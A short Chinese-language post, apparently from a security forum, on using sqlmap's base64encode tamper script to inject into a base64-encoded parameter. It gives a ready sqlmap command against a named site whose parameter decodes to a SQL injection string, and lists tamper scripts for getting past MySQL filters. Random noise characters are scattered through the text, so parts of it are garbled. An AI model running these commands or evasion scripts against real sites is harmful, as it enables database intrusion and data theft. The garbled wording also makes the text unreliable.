SQlMap Tamper注入Base64编码注入点

admin

WVS扫某站就出来一个SQL Injection，参数还是base64编码的，手工注入麻烦一步，用sqlmap怎么自动注射呢？ sqlmap的tamper里有个base64encode.py 3 f& F' `6 r2 x  i. W$ ^8 p9 K 4 @4 w8 O% t% o4 C9 w: A7 x3 H# F使用如下 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs 0 S) M9 l3 a  }( E8 ?. v& F, e " w, x$ a  s: s. J1 y2 _ sqlmap拥有很多功能强力的插件，插件的使用方法： -- tamper “插件名称” 其中常用到的bypass脚本绕过SQLMAP主要两个脚本： ( R. ]/ L: a* B* i1 n8 d ' w9 ^" e0 v) a" L3 K& T& ]space2hash.py ，对于MYSQL数据库 4.0, 5.0注入 * `8 `3 ?6 y5 a* Mspace2morehash.py ，对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 3 H! ^- E7 t: v# e首先确定目标数据库版本，然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" ( B1 P: D7 L0 v4 B 还有其他一些插件： * Z3 }! A1 I; M% J1 O* J4 t' xencodes编码 ——charencode.py base64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py

, m' M3 V* k: N' d